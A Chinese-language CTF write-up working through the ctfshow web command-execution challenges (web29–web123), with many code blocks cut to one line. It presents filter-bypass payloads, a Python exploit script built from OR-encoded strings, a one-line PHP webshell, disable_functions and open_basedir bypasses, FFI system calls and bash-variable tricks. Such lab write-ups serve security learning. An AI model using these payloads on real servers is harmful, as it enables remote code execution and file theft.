前言
记录web的题目wp,慢慢变强,铸剑。
命令执行
web29
web30
web31
web32
web33
web34
- 和33题一样
web35
- 和32题一样
web36
- 和32题一样就是把1换成a
web37
web38
web39
- 和38一样
web40
1
2
3
4
5
6
7
8
9
10
11
12
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
- 根据提示套娃方法
- show_source(next(array_reverse(scandir(pos(localeconv())))));
- 解析:show_source(“flag.php”);可以直接显示当前文件
- localeconv()数组中第一个元素是.可以取路径
- pos()就是取数据中第一个元素
- array_reverse()将数组倒序利用next()取flag.php就执行了flag.php
- 根据cookie命令执行方法
- c=session_start();system(session_id()); passid=ls
- 解析利用session会话进行获取passid中的ls来进行命令执行
- 但是不能正常执行tac flag.php
- 根据post传参来进行命令执行
- 利用-print_r(get_defined_vars())输出所有变量来查看
- 利用next和array_pop来取出值
- eval没有被禁用,尝试命令执行
web41
1 | if(isset($_POST['c'])){ |
- 过滤了数字和字母和一些其他字符我们还是可以利用或运算来进行绕过,例如A的ascii码是65,用羽师傅的代码写的是64|1就得到了65,来构造payload
经过测试,想要在php中实现或运算,实际上服务器上会进行url解码,所以需要用十六进制的字符编码利用或运算进行绕过前端代码验证,写了个代码进行验证,因为phpinfo()可以使用(‘phpinfo’)()形式执行所以构造了
1
2
3
4
5
6
7
8
9
10
11
12
/*
# -*- coding: utf-8 -*-
# @Author: GuYing
# @Date: 2021/7/17
*/
//或
$c = $_GET['c'];
eval("echo($c);");
//(('%40'|'%10').('%40'|'%08').('%40'|'%10').('%40'|'%09').('%40'|'%0e').('%40'|'%06').('%40'|'%0F'))()可以直接绕过当(’PHPINFO‘)()执行构造
1
2
3 payload1 ?c=(('%40'|'%10').('%40'|'%08').('%40'|'%10').('%40'|'%09').('%40'|'%0e').('%40'|'%06').('%40'|'%0F'))()
payload2 ?c=(("%10%08%10%09%0e%06%0f"|"%60%60%60%60%60%60%60"))()沿用羽师傅的代码
解释一下:先是ascill码256个字符的所对应的16进制数,然后利用preg_match排除他们本身的二进制字符串是属于被过滤范围内的,可以大量减少运行时间,然后再读入到rce_or.txt中,利用python写exp进行利用。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/*
# -*- coding: utf-8 -*-
# @Author: GuYing
# @Date: 2021/7/17
*/
//异或
$myfile = fopen("rce_or.txt", "w");
$contents = "";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j < 256 ; $j++) {
if ($i<16) {
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j = dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg, hex2bin($hex_i))||preg_match($preg, hex2bin($hex_j))){
echo '';
}
else{
$a = '%'.$hex_i;
$b = '%'.$hex_j;
$c = (urldecode($a) | urldecode($b));
if (ord($c)>=32&ord($c)<=126)
{
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile, $contents);
fclose($myfile);python跑一下脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46 # -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") # 执行shell语句
if (len(argv) != 2):
print(len(argv))
print(argv)
print(argv[0:2])
print("=" * 50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("=" * 50)
exit(0)
url = argv[1]
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("rce_or.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 +"\"|\"" + s2 + "\")"
return (output)
while True:
param = action(input("Your function : ")) + action(input("Your command: "))
print("Your payload: "+param);
data = {
'c': urllib.parse.unquote(param)
}
print(data)
r = requests.post(url , data=data)
print("result: "+r.text)
web42
1 | if(isset($_GET['c'])){ |
web43
1 | if(isset($_GET['c'])){ |
web44
1 | if(isset($_GET['c'])){ |
web45
1 | if(isset($_GET['c'])){ |
web46
1 | if(isset($_GET['c'])){ |
web47
1 | if(isset($_GET['c'])){ |
web48
1 | if(isset($_GET['c'])){ |
web49
web50
1 | if(isset($_GET['c'])){ |
web51
1 | if(isset($_GET['c'])){ |
web52
1 | if(isset($_GET['c'])){ |
看一下目录
直接看看a.txt是啥
发现有个flag文件在根目录
用nl或者ta’’c看看’’是用来过滤
web53
1 | if(isset($_GET['c'])){ |
web54
1 |
|
web55
1 | if(isset($_GET['c'])){ |
- bin为binary的简写,主要放置一些系统必备的执行命令,里面有base64可以试试绕过
1 | ?c=/???/????64 ????.??? 相当于 ?c=/bin/base64 flag.php |
- 解密之后就是结果
- 毕竟不是万能的,所以看了一下经典的p师傅上传命令执行,写一个upload.php简单的上传功能,然后利用. 来执行shell语句,建议看看无字母数字webshell命令执行了解一下原理
1 |
|
- 因为php的上传文件之后,服务端并没有直接丢弃上传的文件,而是放在了/tmp/????????? 这里有九位数字可以为/tmp/phpabcabD因为正常情况最后一位都会是大写字母,利用[@-[]来确定执行范围所以构造payload(@-[是大写字母的范围可以去查ascii码)好像构造的时候.后面得加个空格或者+号也行
1 | ?c=.+/???/????????[@-[] |
- 上传抓包
- 经此可以发现写个python代码直接上传文件,就写入cat flag.php 不用加#!bin/sh
1 | import requests |
web56
- 过滤的数字,但是还是不影响第二种命令执行的方法,延续上题,或者python代码跑一波
web57
1 | //flag in 36.php |
flag在36.php,我们构造一个36就行了
1 | $(())------是-1 |
在linux中,$(())
是数学计算符,空值的时候为0,对0进行取反就是-1,构造37个-1相加,然后得-37取反为36,写一个脚本
1 | # -- coding:UTF-8 -- |
1 | $((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(()))))))) |
web58
接下来的系列是绕过disable_functions系列
获取当前文件路径
1 | 命令:c=print_r(scandir(dirname('__FILE__'))) |
读取任意的文件
1 | 命令:c=echo file_get_contents('flag.php'); |
或者直接用一些未禁用的函数写入一句话木马
1 | c=file_put_contents('gylq.php','<?php eval($_REQUEST[1]);?>'); |
用蚁剑连接读取flag
web59
和上题源码差不多
payload
1 | c=print_r(scandir(dirname('__FILE__'))); //查看路径 |
web60
- file_get_contents被禁了
1 | c=print_r(scandir("./")); //查看路径 |
其他读取文件payload
1 | //一行行字符形式 |
web61
这回fopen被禁了
1 | c=print_r(scandir("./"));//查看路径 |
payload
1 | //也可以用file_put_contents写shell |
web62
file_put_contents被禁了
查路径的姿势
1 | c=$a=opendir('./');while(($file = readdir($a))){echo $file." ";} |
payload
1 | c=show_source('flag.php'); |
web63
1 | c=show_source('flag.php'); |
web64
1 | c=show_source('flag.php'); |
web65
1 | c=show_source('flag.php'); |
web66
这次flag不在当前目录,在根目录
查看flag路径
1 | c=print_r(scandir('/')); |
获取flag的方法
1 | c=highlight_file('/flag.txt'); |
web67
payload
1 | c=highlight_file('/flag.txt'); |
web68
扫目录姿势
1 | c=var_dump(scandir('/')); |
1 | c=include('/flag.txt'); |
web69
1 | c=$a=new directoryiterator('glob:///*');foreach($a as $f){echo $f." ";}; |
1 | c=include('/flag.txt'); |
web70
和上题一样
web71
这题给了源码,首先了解几个函数
1 | ob_get_contents —— 返回输出缓冲区的内容 |
1 | $a = 'system("ls");'; |
看看源码
1 | error_reporting(0); |
preg_replace将你得到的数据中字母和数字全部转换为?,所以你得想办法绕过,不然输出结果都是?,利用exit()直接中断后面的运行,让我们前面的正常运行
查路径
1 | c=$a=new directoryIterator('glob:///*');foreach($a as $f){echo $f." ";};exit(); |
查flag
1 | c=include('/flag.txt');exit(); |
web72
查一下路径,flag0.txt
1 | c=$a=new directoryIterator('glob:///*');foreach($a as $f){echo $f." ";};exit(); |
发现好像无法读取
发现这题有open_basedir和disable_functions的限制
open_basedir:将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开
disable_functions:用于禁止某些函数,也就是黑名单,简单来说就是php为了防止某些危险函数执行给出的配置项,默认情况下为空
正好群主有现成的发出来exp
1 | c=function ctfshow($cmd) { |
抓post包,直接贴上去,将c后面的url加密,发包就拿到flag了
web73
读路径
1 | c=$a=new directoryiterator('glob:///*');foreach($a as $f){echo $f." ";};exit(); |
payload
1 | c=include("/flagc.txt");exit(0); |
web74
和上题一样
web75
读取路径
1 | c=$a=new directoryiterator('glob:///*');foreach($a as $f){echo $f." ";};exit(); |
这题是用mysql的load_file进行读取文件,payload
1 | c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', |
web76
这次名字变36d,老样子,抓包拿flag
web77
读路径
1 | c=$a=new directoryiterator('glob:///*');foreach($a as $f){echo $f." ";};exit(); |
发现了flag36x.txt和readflag,题目提示php7.4,发现是利用FF1拓展(php7.4开始才有),payload如下
1 | c=$ffi = FFI::cdef("int system(const char *command);");$ffi->system("/readflag >gylq.txt");exit(); |
web118
题目提示,flag在flag.php中,接着看源码,说是systemc命令执行
但是发现过滤了数字和小写字母等
1 | [root@iZbp10rm32c5jzpurgsmsfZ ~]# echo ${PATH:~0} |
payload
1 | code=${PATH:~A}${PWD:~A} ????.??? |
web119
这次在前面的基础上把path给禁了,也就是我们无法获得n这个字母,也就无法构成了nl命令。接下来我们尝试构造一下
/bin/cat
,而想要匹配到我们至少需要一个/
符号和一个cat
中的一个字母,这里使用${SHLVL}
来配合构造/
SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。
1 | [root@iZbp10rm32c5jzpurgsmsfZ html]# echo ${SHLVL} |
一般给的权限都是www-data,所以我们用
${USER}
可以获得“www-data”,而我们要取到at的话需要${USER:~2:2}
,但数字是被禁了,所以接下来我们还需要想想怎么构造出2,翻了翻,这要什么来什么了,看见php的版本是7.3.22,正好包含数字2,所以利用PHP_VERSION
构造payload如下
1 | ${HOME:${#HOSTNAME}:${#SHLVL}} ====> t |
群主的payload,利用php的版本来利用
1 | code=${PHP_CFLAGS:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}:${PHP_VERSION:${PHP_VERSION:~A}:~${SHLVL}}} ????.??? |
web120
这回换成源码了,HOME和BASH也禁了
1 |
|
但是我们可以利用?构造base64来直接访问
1 | echo ${PWD::${SHLVL}} |
web121
1 |
|
1 | 这回过滤了很多,其实我们上把的payload主要是禁了1也就是SHLVL,所以我们想办法弄出1来,刚好有一个${?}如果没有输出错误,他就会返回0这个值,所以对0这值进行计数就是1即为${#?}=1 |
payload
1 | code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.??? |
web122
1 |
|
这回#号被过滤了,也就是不能计数了,但是可以继续利用$?的机制,如果前面的一个语句报错,就会输出一次1,由于HOME放出来了,所以就改HOME获取/
1 | code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.??? |
由于概率不是很高,建议用BURP直接跑包。
web123
1 |
|
get传参C,过滤了空格等一些符号,只能利用白名单里面的函数来构造字母来进行命令执行,并且长度不能大于80,按照提示的数学函数进行使用,这么多白名单也注定了有多种payload
我们利用
1 | system(getallheaders(){1}) |
我写了个php,执行以下了解下过程
1 |
|
直接将payload复制到靶场看看
1 | payload: |